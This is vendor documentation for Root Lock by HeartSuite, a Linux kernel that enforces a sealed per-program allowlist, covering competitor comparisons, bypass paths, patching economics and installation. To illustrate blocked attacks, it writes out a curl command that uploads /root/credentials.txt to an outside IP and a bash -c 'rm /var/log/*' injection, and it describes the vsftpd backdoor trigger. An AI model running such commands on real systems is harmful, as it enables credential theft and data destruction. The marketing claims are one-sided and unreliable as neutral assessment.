Fuchsia (Google) is a production operating system built on Zircon, a microkernel where every resource is accessed through an unforgeable handle. Like seL4, its security model is structural: no handle means no access, at the kernel boundary, before any policy database is consulted.

Fuchsia adds two architectural properties that seL4 does not emphasize: per-component private namespaces and cryptographic verification of every executable.

Private namespaces. In Fuchsia, each component receives an explicitly assembled filesystem view: its /svc/, /data/, and /pkg/ entries are handle-routed by the Component Framework. There is no global root filesystem visible to all components.

A compromised component cannot traverse upward to discover paths it was not given handles to; those paths do not exist in the component’s view.

Root Lock enforces on a global Linux filesystem. Root Lock controls whether a program can access a given path, but the path still exists and an access attempt returns an error rather than silence. Keeping the global filesystem is what lets existing Linux software run unchanged, and what lets Root Lock deploy on any existing Linux server.

Cryptographic integrity. Fuchsia verifies every executable through BlobFS. Each file is identified by its hash and checked before it runs. Replacing a binary silently is structurally impossible. Root Lock does not verify executables by hash.

At Lockdown it seals the allowlist and the critical system paths: the files are immutable, and the kernel refuses the write. Full cryptographic verification at boot means building the OS around content-addressed storage from scratch. Lockdown is runtime tamper-resistance on the Linux you already run.

The Setup Mode gap. Fuchsia has no learning phase and no operator-facing allowlist tooling for standard server software, because standard server software does not run on Fuchsia. Root Lock’s Setup Mode records what each binary does; you review and approve through the Dashboard queues, then engage Lockdown. The workflow exists because Root Lock deploys on the software stack already running in production.

Platform. Fuchsia targets embedded devices and consumer hardware. It is not a Linux kernel and has no server deployment path. Root Lock targets Linux 6.18 server deployments and is installed by replacing the kernel on an existing host.

Fuchsia’s security architecture is more restrictive at every layer: per-component namespaces, cryptographic verification, handle-only access, userspace drivers. Root Lock provides enforced per-program allowlisting on existing Linux deployments without rebuilding the OS. For any organization running Linux infrastructure today, Root Lock is the option that deploys.

Trust boundaries and bypass surface

Three questions cut to the core of any enforcement mechanism: who is trusted to set the policy, who is gated at runtime, and what does a bypass look like?

graph LR
    A[Attacker gains root] --> B["eBPF agent\n(Falco, Tetragon)"]
    A --> C["LSM framework\n(AppArmor, SELinux)"]
    A --> D["seccomp sandbox\n(bubblewrap, firejail)"]
    A --> E["Linux EDR agent\n(CrowdStrike, SentinelOne)"]
    A --> F["Root Lock"]
    B --> G["Kill agent or\nunload BPF program"]
    C --> H["Set permissive or\nreload policy"]
    D --> I["Launch same binary\nwithout the filter"]
    E --> J["Kill driver or\nBYOVD bypass"]
    F --> K["Physical presence\nrequired"]
    G --> L["Protection disabled ✗"]
    H --> L
    I --> L
    J --> L
    K --> M["Protection intact ✓"]

    style A fill:#fdd,stroke:#c44
    style B fill:#fdd,stroke:#c44
    style C fill:#fdd,stroke:#c44
    style D fill:#fdd,stroke:#c44
    style E fill:#fdd,stroke:#c44
    style G fill:#fdd,stroke:#c44
    style H fill:#fdd,stroke:#c44
    style I fill:#fdd,stroke:#c44
    style J fill:#fdd,stroke:#c44
    style L fill:#fdd,stroke:#c44
    style F fill:#d4f4dd,stroke:#2a7a40
    style K fill:#d4f4dd,stroke:#2a7a40
    style M fill:#d4f4dd,stroke:#2a7a40

The table below answers each question in full for the main enforcement mechanisms alongside Root Lock.

Two differences carry the position. Every mechanism above narrows the runtime trust boundary to a subset of processes: one container, one labelled domain, one process tree, one observed program. Root Lock narrows it to every program via a system-wide allowlist, root included.

Every competitor above can be turned off by an attacker who already has remote root: kill the agent, unload the module, or set the policy permissive. Root Lock has nothing equivalent to turn off; changing the sealed allowlist takes physical presence or the cloud serial console. See Circumvention and recovery.

The May 2026 TanStack npm attack illustrated the trust-boundary distinction from the supply chain direction. The attacker operated inside a legitimate build pipeline using valid credentials, so SLSA provenance, OIDC, and 2FA all functioned as designed and no credential check or trust-chain verification registered anything to block.

Root Lock’s per-program network allowlist bounds what pipeline processes can reach from the host regardless of credential validity: under Lockdown, connections to unapproved destinations are refused at the kernel.

What Root Lock complements

These tools do not overlap with Root Lock. They answer different questions, and mature security programs run both.

Root Lock makes a class of attacks impossible rather than merely visible. Your SIEM, NDR, and VA scanner work on what remains: a smaller, more focused set of events.

How Root Lock feeds these tools

Block events reach a SIEM via the local journal under identifier heartsuite (written to /dev/log). One rsyslog rule can forward that identifier; how it lands on the wire (RFC 3164 vs RFC 5424) depends on your rsyslog/journald configuration, not on Root Lock.

:programname, isequal, "heartsuite" @@your-siem:514

The enforcement stream emits one record per denial (HS-PROG-DENY, HS-FILE-DENY, HS-FILE-WDENY, HS-NET-DENY). The alert stream carries aggregated events (new_program_blocked, network_burst, and others). Successful allowlisted work is not streamed.

For push notifications, an HTTPS webhook (JSON; native PagerDuty Events API v2 and OpsGenie Alert API adapters) delivers alert-level events only. Webhook and email timestamps reflect alert evaluation time, not kernel event time; when correlating across sources, account for up to the daemon poll interval (typically 30–60 s).

Every allowlist approval action (programs, file paths, and network destinations) is written to a dedicated, persistent JSONL log that records timestamp, uid, and tty. This gives a machine-readable, session-attributable history of policy changes.

An always-on rotating application audit log records UI and core operational events and errors. Lockdown advisories are generated from verdict logic with direct provenance back to the underlying allowlist state and decision records rather than from unfiltered event dumps.

The combination of the per-decision enforcement stream, the dedicated approval log, and the application audit log produces a reconstructible record that security teams and auditors can use to trace what the system did, when, and why.

Agent-based scanners (Tenable Nessus Agent, Qualys Cloud Agent) run as allowlisted programs. Run the scanner during Setup Mode so Root Lock logs its programs and file access paths, then review and approve the entries through the Dashboard queues. Network-based scans from an external host reach the system over its normal network stack without special configuration.

Where a separate kernel is required

On-host eBPF tooling and a KVM hypervisor host are not a fit by design.

• Docker, containerd, Kubernetes, CRI-O, and Podman. These are not a supported workload on a Root Lock host by design, and no install profile makes this host a container host. Under Lockdown, Root Lock refuses the new mounts a runtime makes each time it starts or reschedules a container. OCI images are built and run off this host, or Root Lock is the guest kernel in a VM the customer provides.
• Falco, Cilium Tetragon, bpftrace, and similar eBPF tools. Not a fit by design. Root Lock does not enforce through eBPF, and the BPF syscall is off, so there is no eBPF program to load. Observe from adjacent hosts via syslog instead.
• Hypervisor hosts running VMs via KVM. Hosting VMs is not a supported configuration. Root Lock runs as a guest, not a host.
• Systems that require rootless containers. Rootless containers are not a fit by design. Under Lockdown, Root Lock refuses the new mounts a runtime makes. Use a separate host.

See System Requirements → Software Compatibility Notes for the full list.

For CISO and procurement evaluation of the Root Lock kernel itself in enterprise fleets (including operational models, Secure Boot roadmap, and alternatives), see the Kernel Hardening → Enterprise Adoption Guide.

Circumvention and recovery

Every security system has a known way to be taken out of the picture. Being explicit about it is how customers evaluate fit.

Root Lock’s sealed allowlist is intended to change through these operator paths:

1. Maintenance window. After Lockdown, that window opens from a physical or serial console: GRUB Maintenance: unseal and return to Root Lock. Express return lands in Setup Mode on the Root Lock kernel. You make changes, then Lockdown ([l]) again. Logged and intentional.
2. Lockdown recovery. When Lockdown is active, the allowlist is sealed and remote root cannot edit it; it changes when you pick Maintenance: unseal and return to Root Lock at a physical or serial console. That stock boot runs HS_unlock.sh. sshd does not lift the seal on the Root Lock kernel, and Maintenance ([m]) is not a second remove-the-seal control. From stock, reboot; GRUB default stays Root Lock. Booting the maintenance kernel requires physical or serial-console access: a keyboard and monitor at the machine, a serial port, a BMC (Dell iDRAC, HPE iLO, and similar), a hypervisor serial console, or your cloud provider’s serial console. An attacker without that console path cannot take this route. On a VM, the hypervisor that owns the guest disk and memory is that outer path. The guest kernel cannot police it.

What this means for security:

• Under Lockdown, an attacker who already has remote root cannot defeat enforcement. There is no agent to kill, no kernel module to unload, and no LSM policy to set permissive. There is also no remote way to force a reboot into the maintenance kernel without console access. Nothing the attacker ran survives a reboot.
• Supported recovery (unseal) requires physical or serial-console access: a keyboard and monitor at the machine, a serial port, or your cloud provider’s serial console. SSH access alone, regardless of privilege level, is not the unseal path. After unseal, SSH is how you work in Setup Mode.
• Physical or serial-console access always returns control to you when the boot menu password is left off. No software applied to the host can prevent that console recovery. If one was set, GRUB asks before Maintenance: unseal and return to Root Lock or a kernel-line edit, and a forgotten password is cleared by mounting the disk from outside, not at the menu. The normal boot still does not ask.
• What can still go wrong (beyond physical or serial-console access). An allowlist can approve too much in Setup Mode, an already-approved program can be abused as a deputy, and on a kernel this large, whether every seal and control path that must stay gated under Lockdown (for example sibling attributes or HeartSuite control entry points) is actually gated remains an engineering job.
• Seal and control integrity are product contracts, tested on ship pins; check them on the pin you run. That is a different question from whether an agent is still running.

Compare this to the tools in the first table, where root can turn enforcement off in most of them by killing the agent, unloading the module, or setting the policy permissive. Root Lock is deliberately not in that category.

To see the three enforcement mechanisms tested against real attacks, including what happens when attackers stay within approved boundaries, see When Root Isn’t Enough.

Privileged access. SOC 2, PCI DSS, and ISO 27001 each expect the organization to restrict and review privileged access. None of them is a single question of the form “can an administrator remotely disable this product?”

sudo, PAM, and privileged-access tools such as WALLIX decide who may elevate and when. Root Lock decides what a program may execute, read, write, and reach on the network, including as root. An allowlist grant is not a remote Lockdown off-switch. WALLIX is named here only for that comparison.

Under Lockdown, remote root cannot modify the sealed allowlist or disable Root Lock the way a userspace agent can be killed, because changing the seal takes physical or serial-console access to boot the maintenance kernel.

That is one technical activity a customer control may cite. It does not satisfy a TSC, an Annex A control, or a PCI requirement by itself, and examiners still test identity, access reviews, logging, and the rest of the control environment.

For kernel-config notes and residual risk on the fielded pin, see Threat model and residual risk.

1.6 - Containers, microVMs, and the sealed host

Overview: Shared-kernel Docker on a Root Lock host is not a fit by design. Under Lockdown, Root Lock refuses the new mounts a runtime makes each time it starts or reschedules a container.

Build and run OCI images on another host. When a task should sit in its own machine, install Root Lock as the guest kernel in a virtual machine.

Why Docker is not a fit on this host

Docker, containerd, Podman, and runc isolate processes on the host kernel. A container runtime on it is not a fit by design: under Lockdown, Root Lock refuses the new mounts a runtime makes each time it starts or reschedules a container. See System Requirements.

A backup receiver that accepts Restic over SFTP runs a handful of programs and needs no container engine. Run the container engine on another host, and let Root Lock protect the machines around it.

What Firecracker and Kata are

Platforms that run untrusted or multi-tenant code put Firecracker or Kata underneath the workload, so each tenant gets its own kernel. Everyday microservices still ship as Docker/OCI images on a shared-kernel runtime. Firecracker signals strong isolation, and it sits alongside Docker rather than replacing it.

Where the containers go

On another host

Build and run Docker, containerd, Kubernetes, and CRI-O images on a host that runs its distribution kernel rather than the Root Lock kernel, and let Root Lock protect the fixed-workload machines around that runtime. If the installer notices a container engine on a Root Lock host, it installs Root Lock the same way as on any other host and does not enable overlay filesystem support.

See Deployment Scenarios → Shared-kernel containers.

Guest — Root Lock inside the virtual machine

  Host (standard Linux or cloud VMM)
       │
       ▼
  Firecracker / Kata / KVM microVM
       │
       ▼
  Root Lock guest kernel
  Setup Mode → allowlist → Lockdown
  (known / trusted workload only)

Run Root Lock as the guest kernel inside a virtual machine you provide, such as a Kata Container or a Firecracker microVM. Build the allowlist once: run a representative task in Setup Mode, review and approve the tools through the Dashboard queues, then bake that allowlist into the VM image.

The image carries the allowlist and is not sealed. You run the seal on that machine, and the seal takes effect on the next boot. The allowlist holds for the life of the task until the VM is discarded.

An attacker who already has root inside the guest cannot turn this off, because blocking is compiled into the guest kernel: its enforcement cannot be unloaded or set permissive the way an LSM policy can, and there is no userspace shim to detach and no agent to kill. This is the path for AI agent sandboxes, fixed-tool automation, and disposable task VMs. See AI agent and automation sandboxes.

Running Firecracker or Kata on a Root Lock kernel, so that this box becomes the VMM for untrusted tenants, is not a supported configuration, because Root Lock protects workloads inside a kernel rather than hosting them. See Where Root Lock is not a fit.

What to run

Comparison

Root Lock makes sure programs do only what you approved. A microVM adds an optional hardware boundary around that sealed kernel.

FAQ

Related pages

• Deployment Scenarios — fit / not-fit, AI guest VMs, shared-kernel containers
• System Requirements — kernel line differences, including OverlayFS and KVM host
• How Root Lock Compares — gVisor and enforcement peers
• FAQs — who it is for; shared-kernel containers

1.7 - Security as Economics

Overview: Defeating a host control has a cost, and so does operating one. Because Root Lock by HeartSuite blocks on an exact allowlist match under Lockdown, a high scanner score can wait for the standard change window when the next step is a program with no allowlist entry, a file that program was not granted, or a destination it was not granted.

Patching urgency

The scanner starts a short clock on a high score, so first read the attacker’s next step after the exploit. When that step is a program with no allowlist entry, a file the program was not granted, or a destination the program was not granted, Lockdown stops that step, and the patch goes in at the standard change window.

Where your policy sets that window at 60 days or 90 days for work it does not rank critical, file the exception as a rule in your scanner, with the expiry set to that window. The rule takes the row off the scanner’s remediation queue and changes its score and report until the expiry, and the morning it expires the finding is urgent again. The date in your policy or contract stays the remediation SLA, so the exception changes the queue, and you still patch.

A bug that can finish on data the program already reads, on a file it was granted, or on a destination already permitted keeps the policy date. So does a kernel CVE whose code is in the Root Lock kernel you boot, and any finding your policy treats as immediate, including one known to be exploited. See Scanner deadlines.

A kernel CVE whose code is compiled out of the Root Lock kernel needs no kernel patch, because the vulnerable code is not there; record the not-affected status from Kernel Security Transparency on the rule. OS packages are still patched as usual with apt or dnf.

A commodity zero-day typically runs a program, touches files, and phones home, and Lockdown bounds all three. A zero-day inside an allowlisted program still reads the files on that program’s allowlist, which is why those findings keep the policy date.

What defeating it costs

No security control is unconditionally unbreakable. The right question is not “can this be defeated?” but “what does defeating it cost the attacker — and what does operating it cost the defender?”

No false positives in blocking. In Lockdown, Root Lock does not scan, score, or guess: a program either has an allowlist entry for the action it is attempting, or it does not. Permitted actions pass and everything else is blocked, so every blocking decision is an exact match rather than a detection estimate.

The boundary holds regardless of privilege. Under Lockdown, a process running as root can only reach the files and network destinations its allowlist entry permits, so credentials, configuration, and data outside those grants stay out of reach.

The allowlist itself is sealed under Lockdown (see Lockdown). Root can stop an agent or set LSM policy to permissive, but it cannot edit the sealed allowlist, so the questions that remain are whether Setup Mode approved too much and who can reach the console to unseal it.

Each additional step the attacker takes requires a new custom exploit aimed at the specific program they are confined to and the files and destinations it was granted. The cost compounds, and at some point the attack is no longer worth finishing.

Cost to implement. A finite window: run the programs you want to allow, review and approve through the Dashboard queues, engage Lockdown. Most customers complete it during a standard change window.

Operational cost

Alert reduction. Under Lockdown, an attack step the kernel refuses does not generate a SIEM or EDR alert. A binary that cannot execute never triggers a process-execution event. An outbound connection refused at the kernel never appears in NDR telemetry as a beacon or data-loss event.

This is not alert filtering — the event never occurs. The alert classes this eliminates carry the highest triage cost: unauthorized execution, unauthorized exfiltration, and novel outbound destinations.

Maintenance. No signature updates. No rule libraries. No agent fleet. The allowlist changes when software legitimately changes — new binaries, updated dependencies, changed network destinations — in a maintenance window on your schedule.

The more frequently software changes, the more frequently those windows are needed. On monthly or quarterly patch schedules that is low overhead, but software that updates daily — package managers pulling live repositories, or applications shipping a new binary on each release — needs a window each time, and the cost compounds. Root Lock fits well where the software stack is stable or follows a defined update process.

ROI compared

SELinux and AppArmor. LSM policy is a sustained engineering cost: SELinux refpolicy domain authoring, AppArmor profile maintenance, permissive-mode exceptions that accumulate under operational pressure, and policy audits before each OS upgrade. Each policy file is hand-authored and must be updated when software changes.

Setup Mode logs what programs actually do, and you approve it in the Dashboard queues. The difference compounds over years: one observation-driven setup session versus ongoing policy authorship and drift management.

Zafran and risk-prioritization tools. Zafran, Nucleus, Vulcan Cyber, and similar tools correlate CVEs against your deployed controls to identify which patches are actually urgent. They do not enforce anything at runtime.

Root Lock reduces the urgency of items these tools surface when the exploit’s next step is one Lockdown refuses (see Patching urgency), so that patch can wait for the standard change window. The two compose: the tool can rank those CVEs behind findings that finish inside the grant, because the allowlist is what the kernel enforces and the files and destinations on it are the ones you approved.

Linux EDR. CrowdStrike Falcon, SentinelOne, and Microsoft Defender for Endpoint generate alerts that require analyst triage. The attack classes Root Lock prevents — unauthorized binary execution, file access outside approved scope, outbound connections to unapproved destinations — never reach the EDR because under Lockdown the kernel refuses them first.

EDR’s telemetry, behavioural analytics, and incident response capabilities remain valid for what Root Lock does not cover. The honest position: Root Lock changes what the EDR has to process, not whether you run one.

Cost to buy. Root Lock replaces the preventive-enforcement layer of several overlapping tools, leaving detection and response capabilities intact. What that means in practice for each category:

• Commercial eBPF enforcement tools (Sysdig Secure, commercial Falco, Cilium Tetragon) — Root Lock removes the BPF syscall by design. On-host eBPF tooling is not a fit. Their preventive role is covered by the allowlist. Budget line removed; stronger prevention gained.
• gVisor — if you are running it solely to protect workloads from root-level compromise inside a VM or microVM, Root Lock is a direct replacement as the guest kernel. No second userspace kernel layer.
• The blocking dimension of Linux EDR (CrowdStrike Falcon, SentinelOne, MDE) — prevention is replaced; telemetry, behavioural analytics, and SOC console are not. Some vendors offer lighter-tier pricing for telemetry-only deployments.
• AppArmor and SELinux — no licensing cost, but the policy-authoring overhead is real; see the SELinux comparison above.

Whether the licensing savings cover the Root Lock subscription depends on your current stack. The operational savings described under Operational cost apply regardless.

CTEM programs — Continuous Threat Exposure Management — cover exposure discovery, prioritisation, and validation across a whole estate: continuously mapping what an attacker could reach and ranking what to fix first. That scope fits large organisations managing complex, heterogeneous environments. For most deployments it is broader than the problem and carries corresponding cost.

Root Lock addresses one specific problem: the OS design assumption that grants every running program the file and network rights of the user who launched it. Removing that assumption at the kernel level does not require a continuous discovery and ranking program.

The CISO case. Under Lockdown, an attacker who already has root cannot go past the programs, files, and IPs already approved, so the blast radius is bounded before anything runs rather than detected and cleaned up afterwards.

That changes the economics of every attack that reaches the host. Breach risk remains, but moving to the next machine, exfiltration, and privilege escalation substantially more expensive to execute — before detection has a chance to respond.

1.8 - Where Linux security tools actually sit

Overview: Security audits often group tools by vendor category — EDR, SIEM, NDR — without saying where in the kernel stack enforcement actually happens. Layer placement determines bypass surface: a tool enforcing at Layer 2 cannot be disabled by a mechanism that only reaches Layer 3 or above.

This page maps Linux host security tools to the enforcement layer they occupy.

Layer definitions

The higher the layer, the more layers beneath it an attacker can leverage to disable it. A Layer 5 agent can be killed by a process with root. A Layer 3 LSM policy can be set permissive by root. A Layer 2 kernel configuration, by contrast, changes only when you reboot into a different kernel.

For a visual representation of this by tool, see Kernel architecture.

Tool map

Layer 2 — Kernel-embedded enforcement

Enforcement is part of the kernel binary, so changing it requires a reboot into a different kernel, and remote root alone cannot disable it.

Layer 2–3 — Userspace-process-run-as-kernel

gVisor intercepts container syscalls in a userspace process that acts as the container’s kernel, reducing exposure to the host kernel. The sentry process runs in userspace and can be compromised; a bug in its syscall emulation can allow escape.

Root Lock is the guest kernel in a VM the customer provides — see How It Compares → gVisor.

Layer 3 — LSM hooks (in-tree)

Policy is applied to a running kernel from outside. Root with the right capability can set SELinux permissive, unload an AppArmor profile, or modify a policy file without rebooting.

Layer 3 — LSM hook + eBPF programs

eBPF programs are loaded into a running kernel at runtime. Root can unload the BPF program or kill the agent that loaded it.

Layer 3–5 — eBPF observability with optional in-kernel kill

These tools span layers depending on configuration: eBPF programs run at Layer 3, the userspace agent sits at Layer 5. The kill capability (where present) runs in-kernel but is loaded and managed by a userspace process.

Layer 4 — Userspace agent sandbox

These tools set up confinement using kernel primitives (seccomp-bpf, Linux namespaces) from userspace. Filters are scoped to a process tree launched by the agent — a sibling process launched without the agent is unaffected.

Layer 5 — Agent-based EDR / XDR

The agent provides detection and response capabilities that Root Lock does not replicate. Most modern breaches include “disable EDR” as an early step — root can kill the agent process, unload the kernel module, or exploit a BYOVD path. Treat these as complementary to Layer 2 enforcement, not substitutes.

Complementary controls (no enforcement overlap)

These tools do not overlap with Layers 2–5 enforcement. They answer different questions and should run alongside host enforcement.

Takeaway

Root Lock is the only product in this map that enforces a per-program allowlist at Layer 2, across all programs including root. The other Layer 2 entries — custom hardened kernels, unikernels, and microVM monitors — remove features or isolate whole workloads rather than gate what each program may execute, read, write, and reach. The host enforcement tools that do gate programs sit at Layer 3 or higher, where root can turn them off remotely without a reboot.

The Layer 2 position is what makes physical or serial-console access the bypass path.

For the tool-by-tool comparison with bypass analysis, see How It Compares.

1.9 - When Root Isn't Enough

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite controls all three — per program, not per user, including as root.

Each section below targets one of these three mechanisms with a real attack. Every example involves root access. In each case, root is not enough.

Each attack below was actively exploited within days of its disclosure. The gap between a vulnerability being published and attackers using it has collapsed to hours, not weeks. Patching cannot keep pace.

In Lockdown, Root Lock blocks these attacks regardless of whether the vulnerable software has been patched — because it gates what each program can reach, not whether a vulnerability exists.

A new program tries to run

The attack. An attacker gains a foothold on a server — a compromised web application, a stolen credential, a misconfigured service. Their next move is to get more capability. They download a tool: a reconnaissance script, a credential dumper, a reverse shell.

On a standard Linux server, a file downloaded to /tmp is executable the moment it arrives. As root, there are no further gates.

What Root Lock does. Every program must have an allowlist entry before the kernel will run it. A file downloaded to /tmp has no entry — it was never observed during Setup Mode, never reviewed, never approved.

In Lockdown, the kernel refuses to execute it. The attacker has a file. They cannot run it.

This applies equally to interpreted scripts. A malicious Python script dropped at /tmp/attack.py has no allowlist entry for that path. Root Lock’s Secure Script Launchers give each script its own allowlist entry, separate from the interpreter. Python runs. The unauthorized script does not.

What it does not cover. If the attacker already controls an approved program and issues commands within that program’s approved scope, the program check does not apply. The other two still do: the program can only read and write files in its allowlist, and only connect to destinations in its network allowlist.

Every attempt to launch a new program returns to this gate — any new program without an allowlist entry is blocked. See When Attackers Stay Within Approved Boundaries for the full picture.

An approved program reads what it shouldn’t

The attack. CVE-2021-41773 — Apache HTTP Server 2.4.49. A flaw in how Apache validates URL paths allows an attacker to craft a request that escapes the web root. Apache fetches and returns arbitrary files from the filesystem. The attacker requests /etc/passwd. Apache reads it and returns it. No authentication required.

The traditional defense — run Apache as www-data with limited permissions — does not help when the attacker targets files that www-data can legitimately read. On most systems, /etc/passwd is world-readable by design.

What Root Lock does. Apache’s allowlist entry defines exactly which files and directories it can read. /etc/passwd is not in that list — Apache was never observed reading it during Setup Mode, because a correctly configured web server never needs to.

When the crafted request causes Apache to attempt to open /etc/passwd, the kernel refuses. The path traversal works as a URL trick. It fails as a file operation.

The question is not whether the system user can read /etc/passwd. The question is whether this specific program — Apache — is approved to read it. It is not.

The same mechanism applies to binary replacement. If an attacker who already has root tries to overwrite /usr/bin/whoami with a malicious script, the write is blocked — because the program issuing the write does not have /usr/bin/whoami in its file write allowlist. Root privilege does not override this check.

What it does not cover. If the attacker targets only files the compromised program is already approved to read, this gate does not apply. The other gates still do: writes outside the approved paths are still blocked, every outbound connection is still gated by the network allowlist, and any new program the attacker tries to run is blocked at the program gate. See When Attackers Stay Within Approved Boundaries for the full picture.

An approved program sends data it shouldn’t

The attack. An attacker on a server uses curl — a standard utility present on nearly every Linux system — to send data out:

curl -X POST --data-binary "@/root/credentials.txt" http://203.0.113.42/upload

On a standard server with root access, this works. curl reads the file, opens a socket to the destination, and uploads the contents. The data leaves.

What Root Lock does. Two checks activate, independently. First, /root/credentials.txt is not in curl’s file access allowlist — curl was never approved to read files from /root. The read fails before a connection is attempted. Second, even if curl could read the file, 203.0.113.42 is not in curl’s network allowlist. The socket is refused.

Either check alone stops the exfiltration. Both activate.

The result is the same whether the attacker uses curl, wget, a raw /dev/tcp connection, or logger forwarding to a remote syslog server. A socket to a non-allowlisted IP is refused, regardless of which tool asks and regardless of privilege level.

Log4Shell (CVE-2021-44228) shows the same gate working in reverse. The attack works by causing a vulnerable application to reach out to attacker-controlled infrastructure to fetch and run malicious code. That outbound request — to a server not in the application’s network allowlist — is refused. The code never arrives. The attack ends at the network gate before anything executes.

Scope. Network allowlisting controls which programs can reach which destinations. What they send over those approved connections is the domain of your network detection tools — see the complementary table in How Root Lock Compares.

Even when an attacker uses an approved program’s approved connection, the program still cannot reach destinations outside its network allowlist, read or write files outside its file allowlist, or launch a new program — see When Attackers Stay Within Approved Boundaries.

When attackers stay within approved boundaries

Root Lock enforces three things per program. An attacker who stays entirely within those approved boundaries is constrained — but not stopped. Each scenario below shows what remains enforced even then, and which defenses handle the rest.

Prompt injection. An attacker embeds instructions in content the program processes — a document, a web page, an API response. The program follows them. Root Lock sees an approved program doing approved things. File access and outbound connections remain gated. The attack is in the meaning of the content — content-layer defenses are what handle content-layer attacks.

Command injection inside an approved interpreter. If bash is on the allowlist and an attacker causes an approved program to call bash -c 'rm /var/log/*', the command runs within bash’s approved file scope. File access outside that scope is still blocked. What runs inside an approved interpreter is not inspected — tight allowlist scope limits the damage.

Backdoored programs that are already on the allowlist. vsftpd 2.3.4 (CVE-2011-2523) shipped with a backdoor compiled in — connecting with a username containing :) opens a listener on port 6200 and hands the attacker a root shell.

If vsftpd is on the allowlist, the backdoor activates inside vsftpd’s own process: no new binary executes, no outbound connection is made, and no file access outside vsftpd’s approved scope occurs.

Root Lock limits what the attacker can do with that shell — file reads and outbound network connections remain gated. A program already approved to run can exercise its approved permissions, including ones a backdoor author planned for.

The delayed-activation case is the malicious sleeper: an approved program behaves as expected for months, then turns those same permissions against you. The execute gate does not fire, because nothing new runs, but under Lockdown the program’s file reads and writes stay inside its allowlist and every destination outside its network allowlist stays closed.

Backup does not stop the sleeper’s first write to an approved path, but it lets you restore protected directories to the version from before the damage. HeartSuite Joint File System (HJFS) adds per-program-version file isolation and automatic backup of every data file.

Attacks within a program’s approved scope. A compromised web server that reads only files it is already approved to read, and connects only to destinations already in its network allowlist, operates within its allowlist. Every file outside that scope is still blocked. Every connection to an unapproved destination is still refused.

Tight allowlisting limits the blast radius. Under Lockdown, the kernel blocks any program (including root) from reaching backup files, so previous versions remain intact and restorable from the Dashboard’s Backup.

Under Lockdown the kernel gates execute, files, and outbound network per program. By design, remote root does not override those gates and has no intended path to change the sealed allowlist while the machine is running.

The allowlist files are immutable on disk and the kernel refuses the write, while the backup files are protected by the Root Lock kernel itself rather than by filesystem permissions. Unapproved programs do not persist across reboot, but an already-approved program keeps its grants until you change them from a maintenance window.

Lockdown also sets chattr +i on the /root directory inode itself, not only on the allowlist files, so the curl example above meets two layers: the per-program file allowlist refuses the read of /root/credentials.txt, and the immutable flag on the directory is the seal. Neither layer can be lifted remotely, because unsealing takes the console GRUB pick Maintenance: unseal and return to Root Lock. See Circumvention and recovery.

For detection and response when an attack stays within approved boundaries, see How Root Lock Compares — specifically the complementary tools table covering SIEM, NDR, and EDR. For the economics of this attack model — what it costs the attacker to work through each boundary — see Security as Economics.

2 - Getting Started

Overview: On a single host, Root Lock by HeartSuite uses Cloud Path (pre-installed instance, Dashboard appears on first login) or Local Path (manual installation with multiple reboots). Cloud Path and Local Path both arrive at the Dashboard after initial setup.

Before you begin

Check Before You Begin for system requirements and prerequisites, then follow Cloud Path or Local Path below.

Order of work

On Local Path, finish distribution updates and install the packages and services this host will actually run. Then run the installer. After the first reboot into the Root Lock kernel, leave the host alone until the Dashboard appears, because Root Lock is still adding startup and shutdown programs from those boots.

On Cloud Path, Root Lock already finished initial setup during image preparation. First-boot leftovers can still appear in the queues; skip any the host does not need at runtime.

When the Dashboard appears, Root Lock has already added the programs that executed at boot and shutdown. In Setup Mode, Root Lock logs the rest of the workload. Allowlisting Basics covers approve and skip. After Lockdown, add software through Protecting During Maintenance.

Choose your path

Many hosts still install through Cloud Path or Local Path on each machine. Ansible, Terraform, and GitOps apply allowlist policy after that install — see Central Policy.

Once initial setup is complete, Cloud Path and Local Path merge — the Dashboard shows the setup checklist and the Suggested Next Step directs you to begin allowlisting.

2.1 - Before You Begin

Overview: Confirm the requirements below match your system, then follow Cloud Path or Local Path on that host. On Local Path, finish distribution updates and the packages this host will run before you install.

System requirements

• Operating System: x86 (64-bit) Linux. The current installer needs glibc 2.34 or newer and Python 3.11 or newer. The 6.18 lab set is Debian 12, Debian 13, Ubuntu 24.04, and Ubuntu 26.04. Debian 11 and Ubuntu 20.04 use the 5.19 kernel only. Ubuntu 22.04, Rocky Linux 9, and the rest of the EL9 family are not offered (Python below 3.11). RHEL 8 and older extended-support releases are below the glibc floor. See Distro Compatibility Matrix.
• Execution environment: bare metal or a full virtual machine with hardware virtualization (KVM, cloud hypervisors, VMware). The Local Path command is the same on both. Shared-kernel container guests (OpenVZ, LXC, Docker/Podman guests sharing the provider kernel) are not a fit by design: Root Lock must boot its own kernel. If a VPS or cloud guest has no /dev/kvm, install directly on that guest, because the installer stops at the start inside a second guest nested within it. See Bare metal, virtual machines, and nested VMs and Deployment Scenarios.
• Access Level: Root access (sudo privileges).
• Skills: Basic familiarity with the Linux command line.

If your setup differs, check the Introduction for compatibility details.

Finish the OS first

On Local Path, complete distribution updates and install the packages and services this host will actually run. Then install Root Lock. During initial setup, Root Lock records startup and shutdown programs from those boots. Package-install helpers, compilers, and one-shot probes that execute in that window become allowlist entries even if they never execute again.

After the Dashboard appears, run the workload you will keep and leave out compilers, probes, and other one-shot tools, because everything that executes in Setup Mode lands in the review queues. After Lockdown, add software through Protecting During Maintenance.

Choosing your setup path

Cloud Path and Local Path merge at the Dashboard after initial setup is complete. Cloud users continue to Verifying Installation. Local users continue to Obtaining Root Lock.

Many hosts still install through Cloud Path or Local Path on each machine. Ansible, Terraform, and GitOps apply allowlist policy after that install — see Central Policy.

3 - Obtaining and Installing Root Lock by HeartSuite

Overview: On a single host, Root Lock by HeartSuite installation follows Cloud Path or Local Path. Both end at the Dashboard after initial setup confirms that the machine is ready for allowlisting. On Local Path, finish the OS and the services this host will run before you install.

Finish the OS first

On Local Path, complete distribution updates and install the packages and services this host will actually run. Then run the installer. During initial setup, Root Lock records startup and shutdown programs from those boots. Package-install helpers, compilers, and one-shot probes that execute in that window become allowlist entries even if they never execute again.

On Cloud Path, Root Lock already finished initial setup during image preparation. First-boot leftovers can still appear in the queues; skip any the host does not need at runtime. Details are in Installation Part 2.

Choose your path

Many hosts still install through Cloud Path or Local Path on each machine. Ansible installs by running the Local Path installer or launching a Cloud Path image, then applying policy — see Central Policy.

When initial setup is complete, continue to Verifying Installation.

3.1 - Obtaining Root Lock by HeartSuite

Overview: Install Root Lock by HeartSuite with a single command.

Run this command after distribution updates are finished and the packages and services this host will actually run are installed. During initial setup, Root Lock records startup and shutdown programs from those boots. Package-install helpers, compilers, and one-shot probes that execute in that window become allowlist entries even if they never execute again.

